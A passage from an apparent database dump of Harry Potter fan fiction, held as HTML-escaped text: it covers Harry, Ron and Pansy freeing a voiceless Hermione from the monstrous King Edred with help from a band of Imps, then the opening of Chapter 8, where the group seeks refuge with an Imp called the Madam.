stop?&#8221;</p>\n\n<p>&#8220;N-oo-ooo,&#8221; Ron groans.</p>\n\n<p>Pansy laughs.&nbsp; &#8220;Tell me I&#8217;m the most gorgeous witch alive, and that you&#8217;ll never tell a soul.&#8221;</p>\n\n<p>&#8220;You&#8230;you&#8217;re gorgeous,&#8221; he moans, &#8220;and I won&#8217;t tell a soul.&#8221;</p>\n\n<p>Pansy takes her hand away.&nbsp; &#8220;That&#8217;s not what I said.&#8221;</p>\n\n<p>&#8220;You&#8217;re the most gorgeous witch alive, and I&#8217;ll never tell a soul,&#8221; he says reluctantly.</p>\n\n<p>Pansy begins to massage him again, sighing in ill-disguised amusement.</p>\n\n<p>Behind them, back in the direction of the village, something gives in to the wind and falls over with a huge loose crash.&nbsp; The sound makes the Imps wheel around, but they spy nothing.&nbsp; Harry is suddenly grateful for the heavy load they are carrying in the back.&nbsp; If nothing else, he knows it keeps them from being shaken worse then they already are.</p>\n\n<p>&#8220;What was that?&#8221; Harry asks James, who is driving the carriage pulled by the Abraxan<ins cite="mailto:Evan%20and%20Dionne%20Williford" datetime="2003-07-07T11:39">.</ins></p>\n\n<p>&#8220;Sounds like something gave out near the arena.&#8221;</p>\n\n<p>&#8220;It&#8217;s all this damn wind.&nbsp; Makes me nervous about my garden,&#8221; Patrick complains.</p>\n\n<p>The other Imps grumble, and Patrick shrugs.</p>\n\n<p>&#8220;What?&nbsp; It took me three hours to weed the other night and I don&#8217;t need my gardenias being uprooted.&#8221;</p>\n\n<p>~</p>\n\n<p>Harry finds himself breathing hard; the muscles in his chest are knotted.&nbsp; The air pricks his lungs like needles.&nbsp; The carriage is open, but it seems suffocating.&nbsp; In their haste, he had forgotten to eat anything, and his stomach clenches from hunger.&nbsp; He is so close to Hermione, and he is disappointed that he doesn&#8217;t feel vigorous, filled with endless energy.</p>\n\n<p>As the carriage rumbles over a small rise, James points towards the house, nestled in a shadowed valley.&nbsp; A fire burns below, reflecting flames off of the coffins that<ins cite="mailto:Evan%20and%20Dionne%20Williford" datetime="2003-07-07T11:39">\n\n</ins>they are pulling behind them.&nbsp; Creatures are scurrying around the fire, preparing for the ceremony.</p>\n\n<p>There are two goblins standing by the side of the road.&nbsp; The Imps all lower their eyes to the road, except for James who nods at them in recognition. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How many do you have?&#8221; the goblin asks them.</p>\n\n<p>&#8220;I&#8217;m escorting the bodies of five souls sacrificed for him, and one very lively winner,&#8220; James says.</p>\n\n<p>A tall goblin comes closer to inspect the carriage.&nbsp; His face is hard.&nbsp; His nostrils flare with each breath.&nbsp; The hair rises on the nape of Harry&#8217;s neck, and goose pimples stand up on his arms as the goblin inspects the coffins.&nbsp; He opens one, and satisfied with the carcass he discovers inside, waves them on.</p>\n\n<p>&#8220;You were almost late,&#8221; the goblin chastises.</p>\n\n<p>~</p>\n\n<p>The after effect of the potion is excruciating, like someone twisting a corkscrew into her brain, but Hermione manages to lock the room and make it downstairs to the kitchen.</p>\n\n<p><i>- Silly girl, he&#8217;ll find out eventually</i> &#8211; the tree says-<i> then we won&#8217;t have to deal with you anymore-</i></p>\n\n<p>&#8216;There are things worse than death,&#8217; Hermione thinks, her shaky hand reaching for the teabags.</p>\n\n<p><i>-You look awful, dear &#8211;</i> the stove says &#8211; <i>would you like us to help you?-</i></p>\n\n<p>&#8216;Please.&#8217;</p>\n\n<p>The stove begins to tremble, a flame leaps from the burner, and the teapot bounces towards the heat. </p>\n\n<p><i>-Sit, let us make the tea, our Queen &#8211;</i> teapot says.</p>\n\n<p>&#8216;I&#8217;m not your Queen, but thank you.&#8217;</p>\n\n<p>Hermione sits down on the chair.</p>\n\n<p><i>- She&#8217;s much too light to be a Queen </i>&#8211; chair complains, rising slightly in the air, as if to prove its point.</p>\n\n<p><i>- But she is noble &#8211;</i> the table insists.</p>\n\n<p>A ludicrous mental image of herself flashes in Hermione&#8217;s mind: she must resemble a character in one of those horrible fairy tales.</p>\n\n<p>&#8220;Hermione!&#8221;</p>\n\n<p>Hermione jumps.&nbsp; She is so surprised by Edred&#8217;s abrupt entrance that she would have cried out if she still had a voice.&nbsp;&nbsp; She makes a tremendous effort to grab a hold of herself before he walks into the kitchen.&nbsp; </p>\n\n<p>There is a curious, wary expression on his face as he looks down at her, silently offering him tea, but he nods and takes the cup.&nbsp; His eyes move away from her, and down at the ground.&nbsp; Hermione follows his gaze and sees something come slinking into the hall behind him.</p>\n\n<p>&#8220;Nothing to be fearful of.&#8221;</p>\n\n<p>The thing is about the length of a coffee table.&nbsp; Its eyes are sockets of crimson, and its skin is slick with moisture. </p>\n\n<p>Edred unceremoniously pulls a niffler out of his bag and bites down on it.&nbsp; It screams; its voice fading out painfully slow as Edred devours it alive.&nbsp; Hermione&#8217;s stomach twists into a knot. </p>\n\n<p>&#8220;That is a gravedigger.&nbsp; Every loyal servant who died in today&#8217;s battle will receive a noble burial, it is the highest honor in my kingdom.&#8221;</p>\n\n<p>He takes another nonchalant bite from the niffler, his demeanor curiously out of sync with the sentiment he is trying to convey. </p>\n\n<p>Hermione feels like weeping.</p>\n\n<p>The wind gusts, the house sways on its foundation, and a tree branch flaps like a torn sail across the kitchen window.&nbsp; The gravedigger lowers its head, gripping a small instrument in its mouth.&nbsp; It looks over at Hermione attentively for a moment, and then backs off three steps.&nbsp; </p>\n\n<p>&#8220;You and the others may begin at any time,&#8221; Edred commands.&nbsp; </p>\n\n<p>The gravedigger&#8217;s body begins to shake as it balances itself on its hindquarters.&nbsp; With a speed that takes Hermione by surprise, it whips out of the room to begin its work.&nbsp; </p>\n\n<p>In a daze, Hermione realizes that the gravedigger is more powerful then it appears to be.&nbsp; It races out to join several others around the enormous bonfire, and she watches as it begins to remove coffins out of the first few carriages, whipping them around as if they are as light as driftwood.</p>\n\n<p><i>- Hundreds will come tonight to bury their dead &#8211;</i> the door says -</p>\n\n<p>Edred grins at his bride-to- be, his cheeks stretching upward into a smile.&nbsp; The dull orange light from the stove paints his brow and lips, fills in his eye sockets.&nbsp; He sticks his tongue out from between his sharp teeth, and licks a drop of blood from his lips. </p>\n\n<p>~</p>\n\n<p>&#8220;We&#8217;ve been stopped forever!&nbsp; If I die in here, you&#8217;ll all be sorry.&#8221;</p>\n\n<p>&#8220;We sure will,&#8221; Ron says, &#8220;we don&#8217;t have an extra coffin to put you in, being as we need two to go back.&#8221;</p>\n\n<p>Pansy sighs, &#8220;My life is just a bloody mess, thanks to you and Potty- brain out there.&#8221;</p>\n\n<p>&#8220;Look, it&#8217;s better that you are stuck in here with me than in one of the other coffins as dead as a doornail, isn&#8217;t it?&#8221;</p>\n\n<p>&#8220;Barely.&#8221;</p>\n\n<p>&#8220;And here I was all ready to believe you were beginning to act like an actual human being,&#8221; Ron grumbles. &#8220;You aren&#8217;t the only one suffering.&nbsp; I haven&#8217;t gotten to eat a decent meal, take a decent bath, or shave in ages.&#8221;</p>\n\n<p>&#8220;You don&#8217;t have to shave, Weasley.&nbsp; I can pluck out those two hairs you&#8217;ve got growing on your chin for you if you want.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ow! Stop that!&nbsp; Wait a minute&#8230;my face is hairless?&#8221;</p>\n\n<p>&#8220;Uh Oh.&#8221;</p>\n\n<p>Harry knocks softly on the top of the casket, and then opens it.</p>\n\n<p>&#8220;You&#8217;ll need to get behind the house&#8230;but be careful, there are plenty of goblins walking around.&#8221;</p>\n\n<p>&#8220;And then what?&#8221; Ron says, untangling his limbs from Pansy&#8217;s.</p>\n\n<p>Harry eyes them suspiciously.</p>\n\n<p>&#8220;I&#8217;ve changed back,&#8221; Ron says looking at Pansy, &#8220;and so has she, although it&#8217;s hard to tell.&#8221; </p>\n\n<p>Pansy kicks him.&nbsp; Hard.</p>\n\n<p>Harry looks from Ron to Pansy, then back again to Ron.&nbsp; &#8220;It&#8217;s going to be more difficult than we thought, then.&#8221;</p>\n\n<p>&#8220;It always is,&#8221; Ron says.&nbsp; &#8220;So what do we do?&#8221;</p>\n\n<p>~</p>\n\n<p>Hermione walks towards the flames where Edred is already standing in the middle of the sizable crowd.&nbsp; She is wearing a black dress, made especially for the ceremony.&nbsp; The rest of the crowd is wearing long robes.&nbsp; The hems of the robes puddle against the tall grass. Their hoods are up, hiding the faces within. </p>\n\n<p>Hermione is directed to Edred&#8217;s side.&nbsp; He smiles down at her as she takes her place.&nbsp; Immobilized, she feels his hand gently brush against her shoulder.&nbsp; She catches the sickly scent of him: sweat, mixed with the faint unearthly smell of death.</p>\n\n<p>Edred bends down so that his face is level to hers.</p>\n\n<p>&#8220;You have nothing to fear, so long as you always know your place, my future Queen,&#8221; he says softly.</p>\n\n<p>She can make out every eyelash.</p>\n\n<p>&#8216;I never want to see you this clearly again,&#8217; she thinks.</p>\n\n<p>The trees are eerily silent, and Hermione is acutely conscious of the pressure of Edred&#8217;s hand on her back.</p>\n\n<p>One of the creatures steps closer to her and bows.</p>\n\n<p>&#8220;My Queen,&#8221; Harry says.</p>\n\n<p>Hermione looks up, trying to find his face, but he steps away before she has a chance to.&nbsp; Edred&#8217;s eyes are still on her.&nbsp; She feels liquefied, and has to remind herself to keep breathing. Those eyes. <i>Those empty eyes, big and inhuman.&nbsp; </i></p>\n\n<p>~</p>\n\n<p>&#8220;Those two coffins were brought by mistake,&#8221; James begins, when one of the gravediggers starts to tug on the coffin containing Ron and Pansy.&nbsp; &#8220;This is one of them.&#8221;</p>\n\n<p>The gravedigger eyes the Imps suspiciously, taking an audible gulp of it&#8217;s own saliva.</p>\n\n<p>&#8220;Uh, yeah, we brought &#8216;em along just in case somebody got killed,&#8221; explains Max.</p>\n\n<p>Imran illustrates this point by pretending to keel over dead.&nbsp;&nbsp; James applauds.&nbsp; &#8220;See, it could happen at almost any time, and we need the business,&#8221; says Patrick, nervously grinning up at the beast.</p>\n\n<p>The gravedigger starts to walk away, but when Pansy sneezes, it whips around again.</p>\n\n<p><i>&#8220;Achoo!&#8221;</i> Patrick says blowing snot into his hand and wiping it onto his fur, &#8220;bloody ragweed.&#8221; </p>\n\n<p>Imran opens one eye, and then lets his tongue hang out from the side of his mouth.&nbsp; Max pretends to weep.</p>\n\n<p>&#8220;He was so young!&#8221;</p>\n\n<p>James sits on top of the coffin, holding his breath. The gravedigger begins to move away again, but slowly.&nbsp; It is still deciding.&nbsp; Either it will come and drag the box into the hole, or it will move on.&nbsp; </p>\n\n<p>Suddenly, it leaps forward and sinks it&#8217;s claws into another coffin.&nbsp; When James attempts to help it, it swipes at him, hissing and clawing.&nbsp; </p>\n\n<p>&#8220;Ok&#8230;Ok..,&#8221; James says.&nbsp; &#8220;Touchy, aren&#8217;t they?&#8221;</p>\n\n<p>Max nods.&nbsp; Patrick wipes the sweat from his brow.&nbsp; </p>\n\n<p>&#8220;Imran?&#8221; James says, kicking his melodramatic friend.&nbsp; Imran jumps up, startled.</p>\n\n<p>&#8220;Sorry, dozed off for a minute,&#8221; Imran says.</p>\n\n<p>Ron knocks on the coffin, his voice angry and muffled. &#8220;If you don&#8217;t mind, I think this is where we get out.&#8221;</p>\n\n<p>The Imps look around, and certain that no one is paying attention, then they unlock the coffin.&nbsp; When two humans emerge, Imran keels over again.&nbsp; This time, Max and Patrick join him.&nbsp; James stares, unable to speak.</p>\n\n<p>&#8220;It&#8217;s a long story, we&#8217;ll explain some other time, mate.&#8221;</p>\n\n<p>James silently hands them two robes.&nbsp; </p>\n\n<p>&#8220;Your friend said to give you these.&#8221;</p>\n\n<p>Ron and Pansy toss the robes over their heads, and quietly merge with the crowd.</p>\n\n<p>~</p>\n\n<p>Harry walks away from Hermione, glancing over at her standing next to the King.&nbsp; What he sees makes chills lance through him.&nbsp; Her face has a deathly pallor, and she is breathing roughly, shallowly.</p>\n\n<p>&#8216;It won&#8217;t be long, Hermione,&#8217; he thinks.&nbsp; When Edred begins the ceremony, Harry starts gently unwinding a spare robe from around his arm.&nbsp; </p>\n\n<p>The coffins are led into the clearing around the flame.&nbsp; The gravediggers are beginning to bury the caskets in a circle.&nbsp; Edred walks around to each one, touching the lid, while pillars of smoke rise from the bonfire.</p>\n\n<p>No one utters a word.</p>\n\n<p>Torches brighten the shadows where light from the fire does not reach, and gravediggers begin to work in pairs, pushing and tugging the boxes into the ground.&nbsp; When the last box crashes a loud <i>thud,</i> something streaks across the sky.&nbsp; Hermione grips the hem of her dress, her eyes wide, as the sky explodes in a silent storm of light. &nbsp;</p>\n\n<p>Edred laughs.&nbsp; The crowd is jubilant.</p>\n\n<p>Hermione clutches her shoulders with her hands, as Edred walks past.&nbsp; His subjects swarm around him, praising him on the success of the day.&nbsp; Another streak of light runs halfway across the black and then winks out.</p>\n\n<p>&#8220;They died an honorable death, but I&#8217;m certain you are relieved that your own honorable death will be postponed,&#8221; Edred says to Harry.</p>\n\n<p>Harry nods in agreement.&nbsp; The gravediggers are busy covering the coffins in a whirlwind of black soil.&nbsp; The air grows dusty, and Hermione covers her mouth to keep from breathing it in.&nbsp; Edred begins accepting gifts from his subjects, recounting his tale of how he bargained for the Quintaped.&nbsp; </p>\n\n<p>They all listen intently, reverently.</p>\n\n<p>&#8220;Hermione, take this,&#8221; Harry whispers, dropping a robe onto the ground, &#8220;When he isn&#8217;t paying attention, slip it on, then meet me behind the house,&#8221; </p>\n\n<p>Hermione stands above the bundled garment, concealing it with the length of her skirt.&nbsp; When she is almost certain no one is looking, she picks it up, and tucks it under her arm.&nbsp; </p>\n\n<p>Harry pulls the hood up further.&nbsp; The skin on his face is now smooth, and he can feel his fangs beginning to retract.&nbsp; </p>\n\n<p>They are running out of time.</p>\n\n<p>~</p>\n\n<p>Edred can smell it in the air.&nbsp; He is uncertain where it is coming from, but it is raw and pungent.&nbsp;&nbsp; At first, it is so faint that he thinks he is merely remembering his last kill.&nbsp; It happens to him often, the scent of a delicious kill still lingering in his nostrils.&nbsp; But then, the scent becomes thick, and rank.&nbsp; </p>\n\n<p>It is not Hermione&#8217;s scent.&nbsp; He has grown accustomed to the smell of her sweat, the taste of her breath lingering long after she has left a room.&nbsp; </p>\n\n<p>Hermione walks up beside him, and tugs on his arm.&nbsp; She crosses her legs, pretending to need a restroom, and nods towards the house.&nbsp; He groans, then grants her permission.</p>\n\n<p>Edred likes that she has been so cooperative.&nbsp; No tricks, not a single act to show she is anything other than accepting of her situation. He doesn&#8217;t think much on this however; he is trying to find the source of the strange odors swirling in the air, mixing with the more common fragrance of goblins and trolls.&nbsp; He ponders this; Werewolves smell of human, but that is to be expected.&nbsp; Even so, their smell isn&#8217;t very strong.</p>\n\n<p>Edred turns around in search of the esteemed winner of his bloody tournament, Harry. The wolf boy is lost among the crowd, no doubt enjoying the spoils of victory.&nbsp; Edred is unconcerned, so long as he is at the wedding ceremony in the morning.</p>\n\n<p>He looks up, catching Hermione&#8217;s shadow move across the light of the window.&nbsp;&nbsp;&nbsp; </p>\n\n<p>~</p>\n\n<p><i>-If you run, he will kill you- </i>pleads the bed &#8211;<i> please don&#8217;t leave &#8211; </i></p>\n\n<p>&#8216;I&#8217;m sorry,&#8217; Hermione thinks, &#8216;I will miss you.&#8217;</p>\n\n<p>She is nervous.&nbsp; She realizes that she has very little time to make it back downstairs and outside.&nbsp; Hermione struggles to block her thoughts, and the objects in the room can sense she is misleading them.&nbsp; </p>\n\n<p><i>-Why won&#8217;t you speak to us? &#8211;</i>&nbsp; the dresser complains.</p>\n\n<p>She puts on the robe.&nbsp; </p>\n\n<p><i>- Lies-</i> a cold voice from outside says <i>&#8211; terrible deception-</i></p>\n\n<p>It is the tree nearest to her window.&nbsp; She can almost feel it trying to pry open her mind.</p>\n\n<p>Hermione hurries downstairs, sees that Edred is still being presented with offerings, and opens the back door.&nbsp; Her palms are sweaty as she grips the doorknob.</p>\n\n<p><i>Click.</i></p>\n\n<p>She steps outside, pulls the hood around her, and for a minute, can taste freedom.&nbsp; But she is not careful in hiding this thought, and when she hears the faint sound of someone treading close, she breathes a sigh of relief, thinking it is only Harry coming to meet her.&nbsp; Hermione is taken completely by surprise as something wraps around her waist, coiling its leaves up her torso until her arms are pinned to her sides.</p>\n\n<p><i>-We have snared the wicked girl after all! - </i>a tree says , pulling her cruelly to the ground from which it&#8217;s roots had sprung <i>&#8211; we have served our King well &#8211; </i></p>\n\n<p>&#8216;Release me, I am only going back to the ceremony!&#8217; Hermione protests silently.</p>\n\n<p><i>-Don&#8217;t struggle &#8211;</i> the voice says &#8211; <i>or we&#8217;ll bury you alive- </i></p>\n\n<p>&#8216;Let me go!&#8217;</p>\n\n<p>Hermione can&#8217;t stop her mind&#8217;s chant, but she stops resisting, as if complying with the tree&#8217;s orders.&nbsp; </p>\n\n<p>\n\n<i>-It&#8217;s too late &#8211; </i>another voice says &#8211;<i> I say destroy her now!- </i></p>\n\n<p>Hermione begins to resist again, desperately searching for her voice.&nbsp; She is paralyzed with fear as another branch swings upwards, preparing to crash down on her.&nbsp; She shuts her eyes tightly as the branch begins to drop.&nbsp; A drop that is blocked by Harry, his eyes clouded with anger. </p>\n\n<p>Pansy and Ron come running from around the other side of the house, both of them sinuously weaving around the angry trees.&nbsp; </p>\n\n<p>&#8220;What the hell is this?&#8221; Ron says, helping Harry to pull the tightly wound root from around Hermione.</p>\n\n<p>&#8220;Look out!&#8221; Harry says, as another root springs from the ground.</p>\n\n<p>&#8220;Stupefy!&#8221; Pansy cries out.&nbsp; The jet of red light stops the root in mid-motion.&nbsp; It screams, an awful sound that reverberates in Hermione&#8217;s mind.&nbsp; She wonders if she is the only one who hears it.</p>\n\n<p><i>- Sorceress! -</i> the trees cry out fearfully <i>- </i></p>\n\n<p>&#8220;Hermione! Can you walk?&#8221; Harry asks, kneeling beside her.</p>\n\n<p>Hermione nods yes.</p>\n\n<p>&#8220;Good,&#8221; Ron says, &#8220;Lets go before the grass decides it wants a piece of the action.&#8221;</p>\n\n<p>The carriages are beginning to line up on the narrow path back to the village.&nbsp; From the gathering, there comes a sputtering roar.&nbsp; The fading light and rolling smoke seems to signal the end of the lengthy ceremony.&nbsp; Ron and Harry help Hermione to her feet .</p>\n\n<p>&#8220;Where are the Imps?&#8221; Pansy says frantically &#8220;Idiotic fur balls, they were told to meet us here!&#8221;</p>\n\n<p>The sudden stillness of the night gives Hermione gooseflesh.&nbsp; Harry grabs her hand, and they sprint across the yard.&nbsp; </p>\n\n<p>&#8220;Around here!&#8221; Harry says.&nbsp; </p>\n\n<p>James and Imran are sitting in the front of the carriage.&nbsp;&nbsp; Max and Patrick are standing near the wheel.</p>\n\n<p>&#8220;Hurry up, before we miss our place in line!&#8221; Imran says nervously.</p>\n\n<p>Ron opens the back of the carriage, and climbs inside one of the coffins.&nbsp; Pansy joins him.&nbsp; Max slams down the top, and motions towards Hermione, who lowers herself inside, followed by Harry.&nbsp; Max doesn&#8217;t shut their casket.</p>\n\n<p>&#8220;What are you waiting for?&#8221; Harry asks.</p>\n\n<p>&#8220;The money,&#8221; Max says.</p>\n\n<p>Harry reaches into his knapsack, pulling out a small bag of coins.</p>\n\n<p>&#8220;Here&#8217;s half now, and you&#8217;ll get the rest when we reach the village safely,&#8221; Harry says.</p>\n\n<p>Max takes the money, grins.</p>\n\n<p>&#8220;You aren&#8217;t as dumb as you look, you know.&#8221;</p>\n\n<p>~</p>\n\n<p>&#8220;Hermione, are you all right?&#8221; Harry asks, his face inches away from hers in the musty darkness.&nbsp; He is trying not to fall against her as the carriage rolls up the jagged road.</p>\n\n<p>Hermione nods.</p>\n\n<p>&#8220;Why aren&#8217;t you talking?&#8221;</p>\n\n<p>Hermione sighs.&nbsp; </p>\n\n<p><i>- He stole her voice- </i>the book explains, frustrated <i>&#8211; Haven&#8217;t you ever read me before?&nbsp; I explain all about the King and his ability to steal voices &#8211; </i></p>\n\n<p>Hermione smiles.&nbsp; <i></i></p>\n\n<p>&#8216;Hogwarts; a History,&#8217; she thinks, wondering if Harry can too.</p>\n\n<p>\n\n<i>-You can hear me?&nbsp; So can he! -</i> the book says <i>- I got him to help!&nbsp; I had to save you!&nbsp;&nbsp; </i></p>\n\n<p>&#8220;You were a help, but you were awfully quiet when we ran into the werewolves,&#8221; Harry says out loud.&nbsp; He is grateful that Hermione can&#8217;t see the blood rushing to his face.&nbsp; He can&#8217;t imagine what she must think.</p>\n\n<p>&#8220;I was&#8230;just&#8230;well&#8230;&#8221;</p>\n\n<p><i>- She knows who you are talking to &#8211;</i> the books says <i>&#8211; she can hear me-</i>\n\n</p>\n\n<p>Harry laughs. &#8220;You can hear it?&#8221;</p>\n\n<p>Hermione nods yes.&nbsp; Harry reaches up to touch her face, trying to decipher her expression.</p>\n\n<p>&#8220;I damn near thought I was going crazy!&#8221; he says.</p>\n\n<p>Hermione moves his hand to his mouth, and her fingers trace along the curve of his lips, his smiling lips.&nbsp; Hermione wants to tell him everything.&nbsp; Her breath falls on his neck, and Harry feels a teardrop trickle onto his shoulder.&nbsp; Hermione is trembling.</p>\n\n<p>He holds her.</p>\n\n<p><i>- Four months of misery &#8211;</i> the books says, it&#8217;s squeaky voice quivering <i>&#8211; so much to tell -</i></p>\n\n<p>Harry moves his mouth to her forehead, comforting her with a gentle kiss.&nbsp; A shiver races up his spine.&nbsp; He goes to kiss her again on the cheek, but she presses her lips to his instead.&nbsp; He gasps in surprise, as she opens her mouth to him.&nbsp; When they break apart, his heart pounds in his ears like native&nbsp;drums.</p>\n\n<p>In the silence that follows, Harry listens for the wind outside.&nbsp; There is none.&nbsp; </p>\n\n<p>~</p>\n\n<p>Half drunk on the deliciously complex smell of death, Edred sees the last of the gravediggers scatter off into the thick woods.&nbsp; With shiny delight, he watches as the carriages create a glowing trail moving back towards the village. He feels buoyant,&nbsp; <i>omnipotent.</i>\n\n</p>\n\n<p>Walking into his home, he is greeted by the warm glow of a torch that Hermione<ins> has</ins><ins cite="mailto:Peter%20Fealy" datetime="2003-07-07T11:13"></ins> neglected to extinguish.&nbsp; Preparing to retire for a much needed rest, he raises his arm into the air to stretch.</p>\n\n<p>The back door is open.&nbsp; </p>\n\n<p>Edred cannot imagine anyone daring to attack him here, but can&#8217;t wait to taste the creature foolish enough to do such a thing.&nbsp; He prepares to change, his mouth open wide with the anticipation of new blood. He approaches the door with caution; stopping suddenly as a familiar scent grows thicker, intermingled with others.&nbsp; </p>\n\n<p><i>Humans.&nbsp; Hermione and others.</i></p>\n\n<p>Thoughts flare through his mind in a blaze of delirium.&nbsp; The house is empty. </p>\n\n<p>Edred roars, jerking, twisting, and writhing until he is no longer recognizable.&nbsp; Ethereally beautiful blue flames streak from his nostrils, knives burst from his hands as he rips the door from its hinges and rises into the enduring darkness.</p>\n\n<p>~</p> '),
	(220, 9, ' <p><b><u>Chapter 8</u></b></p>\n\n<p><b>Of Curses and Madams</b></p>\n\n<p>This chapter is for <b>Seldon</b> and <b>Katrionna</b>.&nbsp; Thanks to Sue for the beta.&nbsp; Sue, you rock me like a hurricane, love.</p>\n\n<p>~</p>\n\n<p>The night sky is endless and empty and dark.&nbsp; There seems to be nothing behind which to hide, and they know that trying to travel the long distance that night would prove to be fatal.</p>\n\n<p>&#8220;Never going to get past him, you know.&nbsp; You may as well leave all of your money.&nbsp; It would be a shame if that went to waste,&#8221; Imran says, a wicked gleam in his eyes.</p>\n\n<p>Hermione stops walking, and spreads her arms in a gesture of frustration.&nbsp; Harry stands behind her placing a hand on her shoulder and squeezing it gently.&nbsp; She reaches up and clasps her hand over his.&nbsp; Ron seems to find this mesmerizing, but makes an attempt not to stare.</p>\n\n<p>&#8220;You can go back.&nbsp; In fact, you should leave now unless you want to be hunted along with us,&#8221; Harry says.</p>\n\n<p>Patrick kicks the ground.&nbsp; James shakes his head.</p>\n\n<p>&#8220;We&#8217;ve already paid you,&#8221; Ron adds.&nbsp; Pansy mutters some inaudible complaint and Hermione gives her a gaze of warning.</p>\n\n<p>&#8220;If you have something to say, just come out with it,&#8221; Pansy says to Hermione, &#8220;Oops!&nbsp; I forgot!&#8221;</p>\n\n<p>&#8220;Shut it, Pansy.&nbsp; You aren&#8217;t even remotely humorous right now,&#8221; Harry snaps.</p>\n\n<p>Pansy snorts.&nbsp; &#8220;Oh really?&nbsp; I thought that was pretty good, don&#8217;t you Weasley?&#8221;</p>\n\n<p>Hermione turns back to look at Ron who flushes red.&nbsp; &#8220;Shut it, Pansy.&nbsp; Please,&#8221; he mutters.</p>\n\n<p>Imran fiddles with the coins in his pants pocket.&nbsp; Max shoves him, and takes some from him.&nbsp; Patrick wrestles Max to the ground.&nbsp; </p>\n\n<p>&#8220;I know somewhere he can&#8217;t find you,&#8221; James announces suddenly.</p>\n\n<p>There is silence.</p>\n\n<p>&#8220;This temporary moment of insanity is brought to you by James, the idiotic hero,&#8221; Imran growls.</p>\n\n<p>Harry turns, and glances down at James.</p>\n\n<p>&#8220;Go on,&quot; Harry says.</p>\n\n<p>&#8220;I know where you can seek refuge, at least for a while,&#8221; James mumbles hesitantly.</p>\n\n<p>Max gives Patrick a knowing glance, and Imran sits down in the dirt with his hands over his face.&nbsp; &#8220;Oh dear,&#8221; he says, suddenly grinning widely, &#8220;Do we have enough money to splurge some while we&#8217;re there?&#8221;</p>\n\n<p>Pansy&#8217;s patience is disintegrating.&nbsp; &#8220;Look, if you&#8217;ve found a place for us to hide from this monster then spill it, or else I might be tempted to stomp on you!&#8221;</p>\n\n<p>Ron sighs. &#8220;Really, Pansy.&nbsp; You aren&#8217;t helping.&#8221;</p>\n\n<p>James ignores her hollow threat.&nbsp; &#8220;We&#8217;ll find the Madam.&#8221;</p>\n\n<p>Hermione&#8217;s eyes widen.&nbsp; </p>\n\n<p>&#8220;We&#8217;re seeking refuge with a woman whose sense of cruelty is only rivaled by the King.&nbsp; Wonderful idea, James.&nbsp; Wonderful, &#8220;Patrick says, throwing his hands up.</p>\n\n<p>&#8220;But there are women of ill repute, let&#8217;s not discount the value of that!&#8221; Imran says anxiously.</p>\n\n<p>Harry is contemplative.&nbsp; Pansy gives Ron a menacing glance when he opens his mouth to comment.</p>\n\n<p>&#8220;I trust you, James,&#8221; Harry says.&nbsp; &#8220;And unless anyone else has a better plan, I say we find this Madam.&#8221;</p>\n\n<p>~</p>\n\n<p>The skies over the woods are still filled with smoke from the celebration.&nbsp; Some of his servants night fires are still burning, confusing his senses.&nbsp; In the pit of his stomach, there is a fire of his own.</p>\n\n<p>Edred swoops down towards the edge of a river for a drink.&nbsp; His throat is dry and his anger has consumed him too quickly.&nbsp; He will rest, and then seek them out again. He spits in his palm, dips his finger into the water and sucks on the tip of it.&nbsp; The water boils on his tongue. </p>\n\n<p>He will call to his loyal servants.&nbsp; Every inch of the forest will be scoured.&nbsp; She will not leave him.</p>\n\n<p>~</p>\n\n<p>They move quickly, following the Imps, careful to follow in their tiny footsteps.&nbsp; Hermione begins to slip into the type of delirium that comes from either extreme hunger or fatigue, and now, hurrying after the Imps, her waking dreams start to unnerve her even more.&nbsp; She is free, but for how long?&nbsp; She has seen Edred&#8217;s power, and her heart is heavy with the thought that her friends could perish in their attempt to rescue her.</p>\n\n<p>&#8220;Stop thinking that, Hermione.&nbsp; We came because we wanted to,&quot; Harry whispers.</p>\n\n<p>&#8216;I cannot trust you to keep any confidence, can I?&#8217; Hermione thinks angrily.&nbsp; The book in Harry&#8217;s knapsack is quiet, ashamed at having passed on Hermione&#8217;s thoughts to Harry.</p>\n\n<p>Their journey ends at the finely wrought gates of a small cave hidden behind some brush.&nbsp; It looks as if no one has gone inside in years.&nbsp; The only curiosity is a green rock that sits beside the doorway, almost equal in size to the cave itself.&nbsp; When they get closer, odd sounds emanate from behind it.</p>\n\n<p>&#8220;What is that?&#8221; asks Pansy, and for once, Hermione is glad that the other girl has spoken up.</p>\n\n<p>&#8220;The Madam&#8217;s summoning stone.&nbsp; It&#8217;s how we call her,&#8221; Patrick explains.</p>\n\n<p>&#8220;I hope you know what you&#8217;re doing.&nbsp; I&#8217;ve got a bad feeling about this woman, &#8220; Ron says, pointing towards the remains of some unfortunate creature lying a foot away near a tree.</p>\n\n<p>James shrugs.&nbsp; &#8220;We don&#8217;t have much choice, and she isn&#8217;t all bad.&nbsp; She just believes in reciprocity.&#8221;</p>\n\n<p>&#8220;So we&#8217;ll owe her for giving us refuge?&#8221;</p>\n\n<p>James shakes his head, and lays a hand on the rock.&nbsp; &#8220;No, she&#8217;ll demand it immediately.&#8221;</p>\n\n<p>&#8220;So much for getting to keep any of that gold,&#8221; Pansy says, nudging Ron in the side.&nbsp; &#8220;Weasley here could have used some of it-&#8220;</p>\n\n<p>Pansy is interrupted by the sound of metal grinding, and the gate creaking open.&nbsp;&nbsp;&nbsp; They brace themselves as something scurries towards them, stopping only inches away from the Imps.&nbsp; She is small, and Hermione guesses correctly that she is an Imp.</p>\n\n<p>When the old Imp smiles, it makes Hermione more nervous than any scowl she has ever seen.&nbsp; It&#8217;s neither kind, nor understanding, but it&#8217;s painful.&nbsp; Her eyes cut into them.</p>\n\n<p>&#8220;Madam, I did you a great service once, and I&#8217;d like to ask for a favor in return. Though it is more than anyone has asked before, I&#8217;m afraid,&#8221; James says.</p>\n\n<p>The Madam watches them with vague interest, never gracing Hermione with more than the briefest of glances.</p>\n\n<p>&#8220;Then my payment shall be equally as great,&#8221; she says, motioning for them to follow,&nbsp; the gate creaking shut behind them.</p>\n\n<p>&#8220;My God, that thing is so old she actually creaks when she walks-&#8220;</p>\n\n<p>The Madam turns to face Pansy.&nbsp; Two other female Imps scurry up beside her, and tug on Pansy and Hermione.</p>\n\n<p>&#8220;Hey!&#8221; Pansy says angrily, &#8220;get off of me!&#8221;</p>\n\n<p>James motions for her to calm down.&nbsp; Harry feels for his wand, and Ron steps up beside Harry.</p>\n\n<p>&#8220;You will bathe these two, &#8220;the Madam commands the other female Imps.&nbsp; She runs her hand over 